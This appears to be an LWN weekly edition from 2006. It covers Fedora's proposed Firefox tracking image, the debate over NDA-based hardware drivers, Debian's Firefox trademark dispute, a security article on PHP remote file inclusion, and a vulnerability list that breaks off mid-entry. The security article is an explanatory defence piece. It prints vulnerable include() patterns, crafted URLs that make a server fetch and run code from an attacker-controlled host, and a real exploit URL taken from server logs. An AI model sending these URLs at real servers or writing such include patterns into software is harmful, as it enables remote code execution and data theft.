The Fedora Core 6 distribution is nearing release. Even after the
recently announced
delay, the
final version of FC6 is expected to hit the net on October 17. So one
would assume that there would be little call for controversial changes at
this time in the cycle; the Fedora folks would be expected to be concerned
with fixing the final problems and getting the release out the door. So
the documentation group was a little surprised, at the end of September,
when a
request to modify the Firefox
startup page showed up.
In particular, the Fedora leadership wanted that page to include a tracking
image - an image hosted on a Fedora web site which would allow the project to
track how many people were starting up Fedora's version of Firefox, and
which IP addresses they came from. It would appear that few people had any
sense that there might be objections to this technique; the resulting
discussion seemed to take them by surprise. But a discussion did result,
focusing on a few questions: why does Fedora want to track its users, why
the hurry to get this change into FC6, and isn't there a better way?
At the moment, it seems, the Fedora Project has very little idea of how
widely used their work is. That is an ignorance they share with a great
many free software projects, but Fedora's situation, it seems, has the
potential to make that ignorance expensive. The best description of Fedora's motives came from
Greg DeKoenigsberg; it is worth quoting at length:
Really, this question should be asked this way: "are metrics so
important that you're ready to risk alienating some users and
contributors to get them?" And the answer to that question, from
my perspective, is "yes".
Why? Because, like it or not, every funding conversation inside of
Red Hat's walls begins and ends with metrics. If it isn't
measurable, it doesn't exist. Fact.
This is especially important in the case of Fedora, because Fedora
doesn't make any money directly for Red Hat. We continue to
develop Fedora because it serves other purposes. Research and
development. Quality Assurance for RHEL. The ethics of continuing
to provide free software, which is important to all of us. And,
most importantly from my own perspective, *community mindshare*.
If we can't quantify Fedora's mindshare in some way, we lose one of
the *major* rationales for making the Fedora Project stronger and
more independent. Every time a Red Hat executive asks "how many
Fedora users are out there?" and we answer "oh, somewhere between
100k and a few million," we make it *that* much more difficult to
defend Fedora from bad Red Hat decisions. If a Red Hat executive
has to choose between giving resources to RHEL and giving resources
to Fedora, and if he's got dollar figures on one side of the ledger
and hand-wavy "mindshare" guesses on the other side of the ledger,
he's going to choose RHEL. Every single time. I've seen it
happen, again and again and again and again. And again.
Fedora has, slowly over the years, become a more open and transparent free
software project. It is also clearly a successful project, with a large
(if unknown) number of users worldwide. But the fact remains that Fedora
is a Red Hat project, with Red Hat being the source of almost all of the
funding that keeps Fedora going. This funding is a generous gift from Red
Hat to the community (though Red Hat certainly benefits from it as well),
but it puts Fedora into a strongly dependent position. Fedora must
keep Red Hat happy, and convince Red Hat of its importance, if it is to
continue to be funded properly.
According to Max Spevack, there is no
concern about Fedora funding being cut; this exercise is, instead, about getting that
funding increased. But the evident level of concern belies that claim
somewhat. Even if there is no discussion of cutting Fedora funding now, it
seems like a subject which could come up in the future. Red Hat is
becoming just another company in many ways, and it will make the calculations that
companies need to make to survive. It would not take too many bad quarters
for Red Hat to start looking very hard at the money spent on Fedora;
managers under pressure to improve their numbers can be very short-sighted
at times. So it makes sense for the Fedora project to be concerned about its
ongoing relationship with Red Hat.
It almost seems that something must have happened to reinforce this idea in
the minds of the Fedora leadership. If so, they aren't talking about it.
But they have decided that it is important to get some sort of mechanism
into FC6 which would give them at least rudimentary statistics. Waiting
another cycle for FC7, it seems is not an option. Given the short time
available to put anything into FC6, the Fedora folks settled quickly
on something which would be easy to implement: a tracking image.
There are obvious problems with the tracking image idea, starting with the
privacy concerns. Not everybody wants to be tracked in this way. People
with this sort of concern may also not be much comforted by the Fedora privacy
policy page, which leads off with this text:
THIS IS A DRAFT. It may not represent the final document, and
should not be used for anything other than informational purposes.
Beyond that, it has been pointed out that this technique only yields IP
addresses, which will only be correlated with the number of actual
installations in a very rough manner. But that information, it seems, is
much better than nothing.
There are alternatives. One idea which has been discussed is a brief user
survey which shows up at the end of the installation process. Users could
then provide some information - or, crucially, choose not to. Nobody seems
to think that such a mechanism could be added to FC6 at this late date,
however; though it could show up in FC7.
The Fedora folks could also take advantage of the fact that a new Fedora
installation already phones home. It is all for the best of purposes: the
yum-updatesd daemon, which runs by default, goes to the central
Fedora server to download the lists of repository mirrors. The project has
not been using the tracks that this activity leaves - but they could. Greg
describes it as "an absolute no-brainer":
The rich irony here, of course, is that rather than tell users
we're tracking them, we will instead be able to track them
invisibly through the normal operation of their systems. But I'm
perfectly happy either way, so.
This approach is not perfect either. It fails on systems which are offline,
while every system running Firefox has a high probability of being
connected. It also cannot distinguish systems which are likely to be
"desktop" systems - information which is apparently of interest. But it's
there now and, as Greg points out, it doesn't seem to set off alarms the
way a tracking image would. Hopefully Fedora will share the conclusions it
draws from this data - and make good use of it to convince Red Hat
management of the project's importance.
Comments (84 posted)
Anybody who has been working with free software for any period of time
knows that hardware support is often one of the community's thorniest
problems. Manufacturers are often reluctant to
tell their customers how to actually use the hardware they sell. For some strange
reason, people buy that hardware anyway, and promptly want it to work with
their operating system of choice. If that system is Windows, the
manufacturer will usually provide a driver (of uncertain quality). Free
software users, instead, are usually on their own.
The situation is better now than it often has been in the past; free
operating systems support a wide variety of hardware. In many cases, the
vendors have given in and simply released programming information required
for anybody to write a driver. In many others, however, this information
is provided to a specific company or developer under a non-disclosure
agreement (NDA), with the understanding that the resulting driver would then be
released under a free license. This approach has, beyond a doubt, made
more drivers available for use with our systems; it has become a common way
of doing things, especially in the Linux world.
Not everybody is happy with this state of affairs, however. OpenBSD founder Theo de Raadt has started a
campaign against the practice of writing drivers under NDA; in the process, he has
stepped on, if anything, more than the usual number of toes, to the point
that some of the people involved are now refusing to talk to him. Theo's
tactics are never subtle, but he does have a point which is worth listening
to.
At a first glance, a driver developed under NDA seems like a good thing.
It is free software, after all, and it makes the device work under the
target operating system. But these drivers can be problematic for the simple
reason that they do not document the hardware the way the specification
does. Without that documentation, many of the benefits of free software
are lost.
In many cases, only the original author can maintain a driver developed
under NDA. Nobody else has the documentation required to make any real
changes to how the driver operates; nobody else really understands the
device. Whenever a new version of the hardware
comes out, or whenever somebody needs a feature that the original author
didn't see fit to implement, one can only hope that said author is still
around and in a mood to work on that driver.
This situation can be worse yet if the author who signed the NDA writes
poor quality code, full of constants whose meaning is clear to nobody. In
some cases, the vendor may require that the driver be written in that way
in order to expose as little information about the hardware as possible.
It's worth noting that this is a problem associated with poor hardware
documentation in general. Your editor recently had cause to dig into the
OmniVision OV7x20 sensor driver. The data
sheet for this device
can be found by anybody with access to a search engine, but that data sheet
is little help for anybody trying to understand this code:
/* Settings for (color) OV7620 camera chip */
static struct ovcamchip_regvals regvals_init_7620[] = {
{ 0x12, 0x80 }, /* reset */
{ 0x00, OV7620_DFL_GAIN },
{ 0x01, 0x80 },
{ 0x02, 0x80 },
{ 0x03, OV7620_DFL_SAT },
{ 0x06, OV7620_DFL_BRIGHT },
{ 0x07, 0x00 },
{ 0x0c, 0x24 },
{ 0x0c, 0x24 },
{ 0x0d, 0x24 },
/* ... 45 lines of this stuff removed ... */
{ 0x74, 0x00 },
{ 0x75, 0x8e },
{ 0x76, 0x00 },
{ 0x77, 0xff },
{ 0x78, 0x80 },
{ 0x79, 0x80 },
{ 0x7a, 0x80 },
{ 0x7b, 0xe2 },
{ 0x7c, 0x00 },
{ 0xff, 0xff }, /* END MARKER */
};
It's not clear that anybody really knows what all those register
settings do; they involve a number of bits and registers which are marked
"reserved" in the documentation. For all practical purposes, they
constitute a form of opaque
firmware which must be loaded into the device for it to operate correctly.
Pain will come to anyone who attempts anything more than the most trivial
tweaks to these values.
Similar issues (in an entirely different context) recently led Linus
Torvalds to exclaim:
And we should tell all hardware companies that firmware tables are
stupid, and that we just want to know what the hell the registers
MEAN!
Without complete hardware documentation, we will
not understand what our peripherals are doing.
Finally, a big problem with drivers written under NDA is that they only
work on one system, and they can be very little help for anybody trying to
make the device work on a different kernel. That, of course, has a lot to
do with why there is a lot of criticism of this approach coming from the
BSD world while the Linux community tends to be more accepting of it. It
is probably safe to say that most developers who are able to get this sort
of access to documentation are working on Linux drivers. If we were
pounding our heads against our monitors in an attempt to reverse-engineer
hardware by way of obscure BSD drivers written under NDA, we might see the
situation in a different light.
Theo has picked out two targets for special attention: Intel and the One
Laptop Per Child (OLPC) project. Intel has gotten a fair amount of good
press supporting its hardware under Linux. The truth of the matter,
however, is that a number of drivers for Intel hardware are written
in-house, with little or no hardware documentation provided to the
community. As long as Intel
remains interested in maintaining those drivers, things will work well
enough - for Linux users. BSD users are not so lucky, however, and we may
all be out of luck if a change of management or focus at Intel causes the
company to drop its Linux drivers. If Intel truly wants to be known as an
open-source friendly company, it would do well to make its hardware truly
open. The OpenBSD developers are currently running a campaign aimed at pushing Intel in
that direction.
| Disclosure time |
|
Readers of this article should be aware that your editor is in the
final stages of writing a GPL-licensed driver for the OLPC camera
controller - and that he signed an NDA to obtain the requisite
hardware documentation. As a result, he is, according to Theo de
Raadt, "part of the problem."
|
In the OLPC case, Theo's criticism has been
centered upon (but not limited to) the driver for the Marvell wireless
networking chip. Some very special things are being done with wireless on
the OLPC, with the result that it will be able to function as a mesh
network router with the CPU powered down. Enabling this involves a lot of
close work with the chipset manufacturer - and a driver written under NDA.
There are other NDA-covered drivers on the OLPC as well.
Theo is unhappy that the OLPC will be, as he sees it, a closed system for
OpenBSD. [Mr. de Raadt has taken exception to the previous
sentence, consider it removed].
But Theo is even more unhappy because, in his view, the OLPC
project has squandered an opportunity to use its economic power
with the manufacturers to force the hardware documentation out into the
open. This failure is not just a lost opportunity; to Theo it also sends a
message to other vendors that they need not worry about releasing hardware
documentation. So, he says, the OLPC folks have not only failed to do the
best they could; they have also actively made things worse for the free
software community as a whole.
The OLPC folks have several responses to this
criticism. The arrangement they have now, they say, is the best they could
achieve within their particular set of goals - which, it should be
remembered, is the provision of economical computers to children worldwide.
OLPC was not founded with the primary goal of helping the free software community,
though, in fact, that has been the result of much of its work. OLPC
developers make the point that this computer will be one of the most open
systems built in many years. The BIOS is free software, as is the VSA microcode
which implements x86 emulation on the Geode CPU. The system's SD
controller was redesigned (by Marvell) for the express purpose of
allowing a driver to be written for it without having to sign the SD
Association's particularly unpleasant NDAs. Even the firmware blob which
runs on the wireless processor is slated for replacement with free software
- though that code does not exist at this point.
Meanwhile, work continues on getting the hardware documentation released.
It should be remembered, however, that much of this hardware does not
actually exist yet. It would be rare indeed for a manufacturer to openly
release this sort of information for a product which is not yet generally
available. OLPC's plan appears to be to continue to work with the vendors
to get the documentation released as the hardware comes onto the market.
Heavy-handed pressure tactics, they feel, would be counterproductive in the
end.
The crux of the matter, thus, is this: if we accept that the community
needs open hardware documentation to function as it should, what is the
best way to get vendors to release that documentation? Some groups
encourage ongoing engagement with these companies, with the intent of
guiding them toward open source enlightenment. Under this line of
thought, these companies will come to realize that the community will do
great things with their hardware - growing the market - given the right
information; they will see that it is in their economic interest to make
the documentation available.
The contrary argument is that this approach has never worked well, that
hardware companies will never be brought around in this way. What is
required, instead, is an intransigent insistence that the documentation
must be released from the outset, and a refusal to sign NDAs to get it.
Only when the vendors see themselves locked out of the free software market
entirely will they realize that their interest lies in openness, not
secrecy. Until that time, there is no reason to cooperate with
uncooperative vendors; the preferred approach, instead, would appear to be
to attempt to shame them publicly.
There has been enough history of drivers written under NDA that it should
be possible to come to some sort of conclusion as to which approach is more
effective. The OpenBSD camp has arguably had some high-profile success
with the public shame approach. Corporate conversions through quiet
engagement tend to be more, say, quiet, however. Your editor would be most
interested to hear about examples of companies changing their approach to
hardware documentation as a result of working with free software developers
under NDA. The question is not just academic: if we want to bring about an
improvement in the hardware documentation situation, it behooves us to
understand which tactics work best.
Comments (46 posted)
Steven J. Vaughan-Nichols is a mainstream technology reporter who has often
shown a reasonably high level of clue regarding the free software
community. A recent article, titled
Open Source
Madness!, shows where that clue ends, however. More to the point, it
shows an area where the free software community is having a hard time
making itself understood.
The article in question takes issue with the Debian project's plan to drop
Firefox from etch (see this LWN
article from September for more information), and with the existence of Gnuzilla and Iceweasel,
which are versions of the Mozilla suite and Firefox browser which are
intended to be truly freely redistributable.
Mr. Vaughan-Nichols presents
the issue as being only about logos, calls the Debian developers
"fundamentalists," and states:
By winning this "battle," the pedantic Debian developers have
helped the proprietary forces of Microsoft and friends far more
then the cause of Open Source.
So why is it that the Debian developers have done this terrible thing?
Maybe it is time to look at the reasoning behind this move.
The logo issue is real. It is provided under terms which are not
compatible with the Debian Free Software Guidelines, and, as a result,
cannot be shipped with the core Debian release. For some time, Debian was
able to ship a version of Firefox without the logo, but Mozilla Corporation
has called an end to that. As a result, Debian is in the position of being
asked to ship something it sees as non-free.
The logo issue might be enough to push Firefox out of a distribution like
Debian, but there are more serious issues as well. The Mozilla
trademark policy only allows a distributor to ship "Firefox" if it is
an unmodified copy of what the Mozilla people have released. Some
relatively trivial changes are allowed if the distributor calls the result
the "Firefox Community Edition"; anything beyond that cannot use the name
"Firefox" at all. The only exception is if explicit permission has been
obtained from the Mozilla Corporation prior to distribution.
Distributors often do want to make changes to Firefox - just like they
change many other programs they ship. At a minimum, they often want to
apply their own security fixes, since Mozilla's approach to security
patches tends to be rather distributor-hostile. Having Mozilla review
every patch as required will slow the process down, even if there are no
disagreements about specific changes. This policy makes it hard to provide
quick security updates to Firefox; this matters, especially, when a
distributor is trying to maintain a version of the browser that Mozilla
Corp. has long since abandoned.
Perhaps most important, however, is this: even if a distributor gets
permission to ship a specific modified version of Firefox, there is nothing
which automatically gives anybody else that permission. Using one
distribution as a base for another is a time-honored practice in the Linux
community; there are, in fact, very few distributions out there which were
truly started from scratch. But what is a distribution based on (say)
Debian to do with a modified version of Firefox? The creator of the
derived distribution has no permission from Mozilla Corporation to
distribute that modified version - even if no further changes are made.
The presence of this modified package creates a trap which any second-stage
distributor must find and defuse; it makes the distribution less
redistributable, less free.
In the end, however, Mozilla's code is free software; all that is needed to
avoid all of this trouble is to change its name. That is just what Debian
is doing - and other distributors may yet follow suit.
Mr. Vaughan-Nichols fears that this change will confuse users and send them
screaming back to the comfort and stability of Windows. It would seem that
the "Firefox" trademark has become so important that we must use it, or the
dream of World Domination on the desktop will come to an untimely and
ignominious end. "Freedom," says the article, "trumps
common sense."
The problems is...freedom is what this is all about. There would appear to
be an increasing number of people who are calling for the community to
"bend a little" on freedom in the name of winning the desktop battle. It
may (or may not) be true that Linux could advance more quickly on the
desktop if it were to become more like Windows. But what would be the
point? If the choice is forced upon us, it would seem better to dispense
with an overly-controlled name and keep our desktop free, supportable, and
redistributable.
Comments (21 posted)
Page editor: Jonathan Corbet
Security
October 11, 2006
This article was contributed by Jake Edge.
A recent rash of reports to the bugtraq mailing list provides a
nice confirmation of an
article on this page two
weeks ago. Google recently released a
code search tool
that is being used to find security holes in open source projects and
the first target appears to be remote file inclusion (RFI) vulnerabilities in
PHP programs. There has been a steady stream of vulnerability reports on
security mailing lists as well as an increase in attempts to exploit them.
An attacker's fondest wish is to be able to run their code on the
target system; an RFI exploit does just that. By exploiting two very
dubious 'features' of the PHP language, an attacker can inject their code into
a PHP program on the server. Once they can do that, they can access
anything that the PHP program could: databases, password files, etc. They
can install their own shell running with the privileges of the web server
user (such as 'apache' or 'httpd') and if the server has not been patched
for some local user privilege escalation vulnerability, the shell could be used
to become the root user.
PHP is particularly susceptible to this kind of exploit because the default
installation allows filesystem operations to 'automagically' open URLs as
if they were local files (governed by the allow_url_fopen
configuration parameter). This capability even works for what, seemingly,
should be restricted to the local filesystem such as the 'include' and
'require' directives. If an attacker can manipulate the arguments to those
directives, they can use a URL under their control as the argument and that
is just what an RFI exploit does.
Consider the following:
include($base_path . "/foo.php");
If an attacker can control the value of the
base_path variable,
they can replace it with something like
"
http://example.com/badcode?foo=" and,
instead of picking up
foo.php from the local filesystem, PHP will happily reach out
across the net to pick up the attacker's code. One of the ways that an
attacker can control the value of a variable in a PHP program is through
the use of the
register_globals PHP mis-feature.
When register_globals is enabled in PHP, the language 'automagically'
instantiates variables with values from the HTTP request and puts them in the
namespace of the PHP program. This was originally seen as a nice convenience
for getting the FORM values from the page, but has since been deprecated and is
disabled by default. There are still a fair number of PHP programs that
require it to be enabled in order to function correctly; with luck this
number is decreasing, hopefully rapidly. When it is enabled,
it allows an attacker to inject a value for any uninitialized variable in
the program by simply adding it as a GET parameter at the end of the URL.
Using the example above, if base_path was uninitialized in some
installations (for instance where the application was installed in the
DocumentRoot), an attacker could request:
http://vulnerable.com/RFI.php?base_path=http://example.com/badcode?foo=
and PHP will fetch and execute the exploit code. The final question
mark and
foo= in the URL is just to absorb the
"/foo.php"
in the include directive; other techniques such as using
%00 to
put a NUL byte at the end of the malicious URL are also possible.
Some PHP programmers are not content with being exploitable only when
register_globals is on and have put code like the following into
their applications:
include($_REQUEST['own_me'] . '/foo.php');
The
_REQUEST 'superglobal' array in PHP stores all of the variables
that come in from the HTTP request, regardless of whether they come as a
GET or a POST variable. This one is easy to exploit by making a request
like:
http://vulnerable.com/RFI2.php?own_me=http://example.com/badcode%00
By disabling both register_globals and allow_url_fopen,
these kinds of exploits can be avoided. Unfortunately, the latter also
alters the behavior of filesystem functions that might more legitimately
be used to fetch remote URLs. For this reason, it is enabled by default
and cannot be disabled for proper functioning of some PHP
applications. There have been too many exploitable uses of
register_globals over the years for any security-minded PHP
programmer to even consider enabling it. Other languages may
also be susceptible to this kind of exploit, but PHP is certainly the target
of the recently reported ones.
[Editor's note: the LWN server is currently seeing exploit attempts at a
rate of nearly one per second, using URLs like:
http://lwn.net/Articles//master.php?root_path=http://webstorch.com//cap.txt?
No, it doesn't work here - but using wget to fetch the exploit file can
be instructive. There is a steady stream of file inclusion vulnerability
reports on lists like Bugtraq; if you are using PHP-based software, it
behooves you to pay attention.]
Comments (12 posted)
New vulnerabilities
awstats: input sanitizing
| Package(s): | awstats |
CVE #(s): | CVE-2006-3681
CVE-2006-3682
|
| Created: | October 10, 2006 |
Updated: | October 11, 2006 |
| Description: |
awstats did not fully sanitize input, which was passed directly to the user's
browser, allowing for an XSS attack. If a user was tricked into following a
specially crafted awstats URL, the user's authentication information could be
exposed for the domain where awstats was hosted. (CVE-2006-3681)
awstats could display its installation path under certain conditions.
However, this might only become a concern if awstats is installed into
an user's home directory. (CVE-2006-3682) |
| Alerts: |
|
Comments (1 posted)
maxdb: arbitrary code execution
| Package(s): | maxdb |
CVE #(s): | CVE-2006-4305
|
| Created: | October 5, 2006 |
Updated: | October 11, 2006 |
| Description: |
Version 7.5.00 of the MaxDB database has a vulnerability in the
WebDBM frontend. Insufficient input sanitization is performed on
data passed to the frontend, resulting in the possible execution of
arbitrary code. |
| Alerts: |
|
Comments (2 posted)
OpenSSH: denial of service
| Package(s): | openssh |
CVE #(s): | CVE-2006-4925
CVE-2006-5052
|
| Created: | October 6, 2006 |
Updated: | November 15, 2007 |
| Description: |
packet.c in ssh in OpenSSH allows remote attackers to cause a denial of
service (crash) by sending an invalid protocol sequence with
USERAUTH_SUCCESS before NEWKEYS, which causes newkeys[mode] to be NULL.
An unspecified vulnerability in portable OpenSSH before 4.4, when running
on some platforms, allows remote attackers to determine the validity of
usernames via unknown vectors involving a GSSAPI "authentication abort." |
| Alerts: |
|
Comments (none posted)
php: integer overflow
| Package(s): | php |
CVE #(s): | CVE-2006-4812
|
| Created: | October 5, 2006 |
Updated: | October 30, 2006 |
| Description: |
The PHP memory handling routines have an integer overflow vulnerability.
A remote attacker can use a script to cause memory allocation based on
untrusted data, allowing arbitrary code to be executed as the apache
user. |
| Alerts: |
|
Comments (1 posted)
python: arbitrary code execution
| Package(s): | python |
CVE #(s): | CVE-2006-4980
|
| Created: | October 6, 2006 |
Updated: | November 7, 2006 |
| Description: |
Benjamin C. Wiley Sittler discovered that Python's repr() function did
not properly handle UTF-32/UCS-4 strings. If an application uses
repr() on arbitrary untrusted data, this could be exploited to execute
arbitrary code with the privileges of the python application. |
| Alerts: |
|
Comments (1 posted)
Updated vulnerabilities
apache: cross-site scripting
| Package(s): | apache |
CVE #(s): | CVE-2006-3918
|
| Created: | August 9, 2006 |
Updated: | April 4, 2008 |
| Description: |
From the Red Hat advisory: "A bug was found in Apache where an invalid Expect header sent to the server
was returned to the user in an unescaped error message. This could
allow an attacker to perform a cross-site scripting attack if a victim was
tricked into connecting to a site and sending a carefully crafted Expect
header." |
| Alerts: |
|
Comments (none posted)
bind: denial of service
| Package(s): | bind |
CVE #(s): | CVE-2006-4095
CVE-2006-4096
|
| Created: | September 7, 2006 |
Updated: | February 1, 2007 |
| Description: |
Bind has two denial of service vulnerabilities.
Recursive servers queries for SIG records will trigger an assertion
failure if more than one RR set is returned.
An INSIST failure can be triggered by sending a large number of
recursive queries. |
| Alerts: |
|
Comments (none posted)
binutils: buffer overflow
| Package(s): | binutils |
CVE #(s): | CVE-2005-4807
|
| Created: | August 17, 2006 |
Updated: | October 19, 2006 |
| Description: |
The GNU assembler (gas) in binutils is vulnerable to a buffer overflow.
If a user can be tricked into assembling a specially crafted file with
gcc or gas, arbitrary code can be executed with the privileges of the user. |
| Alerts: |
|
Comments (3 posted)
busybox: insecure password generation
| Package(s): | busybox |
CVE #(s): | CVE-2006-1058
|
| Created: | May 5, 2006 |
Updated: | May 2, 2007 |
| Description: |
The BusyBox 1.1.1 passwd command does not use a proper salt when generating
passwords. This would create an instance where a brute force attack could
take very little time. |
| Alerts: |
|
Comments (2 posted)
bzip2: race condition and infinite loop
| Package(s): | bzip2 |
CVE #(s): | CAN-2005-0953
CAN-2005-1260
|
| Created: | May 17, 2005 |
Updated: | January 10, 2007 |
| Description: |
A race condition in bzip2 1.0.2 and earlier allows local users to modify
permissions of arbitrary files via a hard link attack on a file while it is
being decompressed, whose permissions are changed by bzip2 after the
decompression is complete. Also specially crafted bzip2 archives may cause
an infinite loop in the decompressor. |
| Alerts: |
|
Comments (2 posted)
capi4hylafax: missing input sanitizing
| Package(s): | capi4hylafax |
CVE #(s): | CVE-2006-3126
|
| Created: | September 1, 2006 |
Updated: | October 18, 2006 |
| Description: |
Lionel Elie Mamane discovered a security vulnerability in capi4hylafax,
tools for faxing over a CAPI 2.0 device, that allows remote attackers to
execute arbitrary commands on the fax receiving system. |
| Alerts: |
|
Comments (none posted)
cheesetracker: buffer overflow
| Package(s): | cheesetracker |
CVE #(s): | CVE-2006-3814
|
| Created: | September 4, 2006 |
Updated: | October 27, 2006 |
| Description: |
Luigi Auriemma discovered a buffer overflow in the loading component
of cheesetracker, a sound module tracking program, which could allow a
maliciously constructed input file to execute arbitrary code. |
| Alerts: |
|
Comments (1 posted)
cpio: arbitrary code execution
| Package(s): | cpio |
CVE #(s): | CVE-2005-4268
|
| Created: | January 2, 2006 |
Updated: | March 17, 2010 |
| Description: |
Richard Harms discovered that cpio did not sufficiently validate file
properties when creating archives. Files with e. g. a very large size
caused a buffer overflow. By tricking a user or an automatic backup
system into putting a specially crafted file into a cpio archive, a
local attacker could probably exploit this to execute arbitrary code
with the privileges of the target user (which is likely root in an
automatic backup system). |
| Alerts: |
|
Comments (none posted)
vixie-cron: privilege escalation
| Package(s): | cron |
CVE #(s): | CVE-2006-2607
|
| Created: | May 31, 2006 |
Updated: | June 1, 2009 |
| Description: |
The Vixie cron daemon does not check the return code from setuid(); if that call can be made to fail, a local attacker may be able to execute commands as root. |
| Alerts: |
|
Comments (1 posted)
cscope: buffer overflows
| Package(s): | cscope |
CVE #(s): | CVE-2006-4262
|
| Created: | October 2, 2006 |
Updated: | June 16, 2009 |
| Description: |
Will Drewry of the Google Security Team discovered several buffer overflows
in cscope, a source browsing tool, which might lead to the execution of
arbitrary code. |
| Alerts: |
|
Comments (none posted)
cscope: buffer overflows
| Package(s): | cscope |
CVE #(s): | CVE-2004-2541
|
| Created: | May 22, 2006 |
Updated: | June 19, 2009 |
| Description: |
A buffer overflow in Cscope 15.5, and possibly multiple overflows, allows
remote attackers to execute arbitrary code via a C file with a long
#include line that is later browsed by the target. |
| Alerts: |
|
Comments (1 posted)
Cyrus-SASL: DIGEST-MD5 Pre-Authentication Denial of Service
| Package(s): | cyrus-sasl |
CVE #(s): | CVE-2006-1721
|
| Created: | April 21, 2006 |
Updated: | September 4, 2007 |
| Description: |
Cyrus-SASL contains an unspecified vulnerability in the DIGEST-MD5
process that could lead to a Denial of Service. An attacker could possibly
exploit this vulnerability by sending specially crafted data stream to the
Cyrus-SASL server, resulting in a Denial of Service even if the attacker is
not able to authenticate. |
| Alerts: |
|
Comments (none posted)
dokuwiki: input validation flaws
| Package(s): | dokuwiki |
CVE #(s): | |
| Created: | September 29, 2006 |
Updated: | October 4, 2006 |
| Description: |
Input validation flaws have been discovered in the image handling of
fetch.php if ImageMagick is used, which is not the default method. A
remote attacker could exploit the flaws to execute arbitrary shell commands
with the rights of the web server daemon or cause a denial of service. |
| Alerts: |
|
Comments (none posted)
ffmpeg: buffer overflows
| Package(s): | ffmpeg |
CVE #(s): | CVE-2006-4799
CVE-2006-4800
|
| Created: | September 14, 2006 |
Updated: | May 28, 2007 |
| Description: |
the AVI processing code in FFmpeg has a number of buffer overflow
vulnerabilities.
If an attacker can trick a user into loading a specially crafted
crafted AVI, arbitrary code can be executed with the user's privileges. |
| Alerts: |
|
Comments (2 posted)
flash-plugin: arbitrary code execution
| Package(s): | flash-plugin |
CVE #(s): | CVE-2006-3311
CVE-2006-3587
CVE-2006-3588
|
| Created: | September 13, 2006 |
Updated: | October 5, 2006 |
| Description: |
Security issues were discovered in the Adobe Flash Player. It may be
possible to execute arbitrary code on a victim's machine if the victim
opens a malicious Adobe Flash file. |
| Alerts: |
|
Comments (none posted)
freeradius: several vulnerabilities
| Package(s): | freeradius |
CVE #(s): | CVE-2005-4745
CVE-2005-4746
|
| Created: | August 8, 2006 |
Updated: | April 24, 2007 |
| Description: |
Several remote vulnerabilities have been discovered in freeradius, a
high-performance RADIUS server, which may lead to SQL injection or denial
of service. |
| Alerts: |
|
Comments (none posted)
freetype: integer overflows
| Package(s): | freetype |
CVE #(s): | CVE-2006-0747
CVE-2006-1861
CVE-2006-2493
CVE-2006-2661
CVE-2006-3467
|
| Created: | June 8, 2006 |
Updated: | June 1, 2010 |
| Description: |
The FreeType library has several integer overflow vulnerabilities.
If a user can be tricked into installing a specially
crafted font file, arbitrary code can be executed with the privilege
of the user. |
| Alerts: |
|
Comments (none posted)
gcc: file overwrite vulnerability
| Package(s): | gcc |
CVE #(s): | CVE-2006-3619
|
| Created: | September 6, 2006 |
Updated: | March 14, 2008 |
| Description: |
The fastjar utility found in the GNU compiler collection does not perform adequate file path checking, allowing the creation or overwriting of files outside of the current directory tree. |
| Alerts: |
|
Comments (none posted)
gdb: buffer overflow
| Package(s): | gdb |
CVE #(s): | CVE-2006-4146
|
| Created: | September 15, 2006 |
Updated: | June 12, 2007 |
| Description: |
A buffer overflow in dwarfread.c and dwarf2read.c debugging code in GNU
Debugger (GDB) 6.5 allows user-assisted attackers, or restricted users, to
execute arbitrary code via a crafted file with a location block
(DW_FORM_block) that contains a large number of operations. |
| Alerts: |
|
Comments (none posted)
gdm: improper file permissions
| Package(s): | gdm |
CVE #(s): | CVE-2006-1057
|
| Created: | April 19, 2006 |
Updated: | May 2, 2007 |
| Description: |
The .ICEauthority file may be created with the wrong ownership and permissions; gdm 2.14.2 fixes the problem. |
| Alerts: |
|
Comments (none posted)
gedit: format string vulnerability
| Package(s): | gedit |
CVE #(s): | CAN-2005-1686
|
| Created: | June 9, 2005 |
Updated: | February 5, 2009 |
| Description: |
A format string vulnerability has been discovered in gedit. Calling
the program with specially crafted file names caused a buffer
overflow, which could be exploited to execute arbitrary code with the
privileges of the gedit user. |
| Alerts: |
|
Comments (1 posted)
grip: buffer overflow
| Package(s): | grip |
CVE #(s): | CAN-2005-0706
|
| Created: | March 10, 2005 |
Updated: | November 19, 2008 |
| Description: |
Grip, a CD ripper, has a buffer overflow vulnerability that can
occur when the CDDB server returns more than 16 matches. |
| Alerts: |
|
Comments (none posted)
gzip: multiple vulnerabilities
| Package(s): | gzip |
CVE #(s): | CVE-2006-4334
CVE-2006-4335
CVE-2006-4336
CVE-2006-4337
CVE-2006-4338
|
| Created: | September 19, 2006 |
Updated: | January 20, 2010 |
| Description: |
Tavis Ormandy of the Google Security Team discovered two denial of service
flaws in the way gzip expanded archive files. If a victim expanded a
specially crafted archive, it could cause the gzip executable to hang or
crash.
Tavis Ormandy of the Google Security Team discovered several code execution
flaws in the way gzip expanded archive files. If a victim expanded a
specially crafted archive, it could cause the gzip executable to crash or
execute arbitrary code. |
| Alerts: |
|
Comments (1 posted)
gzip: arbitrary command execution
| Package(s): | gzip |
CVE #(s): | CAN-2005-0758
|
| Created: | August 1, 2005 |
Updated: | January 10, 2007 |
| Description: |
zgrep in gzip before 1.3.5 does not handle shell metacharacters like '|'
and '&' properly when they occurred in input file names. This could be
exploited to execute arbitrary commands with user privileges if zgrep is
run in an untrusted directory with specially crafted file names. |
| Alerts: |
|
Comments (2 posted)
kdelibs: kate backup file permission leak
| Package(s): | kdelibs kate kwrite |
CVE #(s): | CAN-2005-1920
|
| Created: | July 19, 2005 |
Updated: | September 21, 2010 |
| Description: |
Kate / Kwrite, as shipped with KDE 3.2.x up to including 3.4.0, creates a file backup before saving a modified file. These backup files are created with default permissions, even if the original file had more strict permissions set. See this advisory for more information. |
| Alerts: |
|
Comments (1 posted)
kernel: denial of service
| Package(s): | kernel |
CVE #(s): | CVE-2006-4535
CVE-2006-4538
|
| Created: | September 18, 2006 |
Updated: | January 5, 2009 |
| Description: |
Sridhar Samudrala discovered a local denial of service vulnerability
in the handling of SCTP sockets. By opening such a socket with a
special SO_LINGER value, a local attacker could exploit this to crash
the kernel. (CVE-2006-4535)
Kirill Korotaev discovered that the ELF loader on the ia64 and sparc
platforms did not sufficiently verify the memory layout. By attempting
to execute a specially crafted executable, a local user could exploit
this to crash the kernel. (CVE-2006-4538) |
| Alerts: |
|
Comments (none posted)
kernel: denial of service by memory consumption
| Package(s): | kernel |
CVE #(s): | CVE-2006-2936
|
| Created: | July 17, 2006 |
Updated: | November 14, 2007 |
| Description: |
The ftdi_sio driver (usb/serial/ftdi_sio.c) in Linux kernel 2.6.x up to
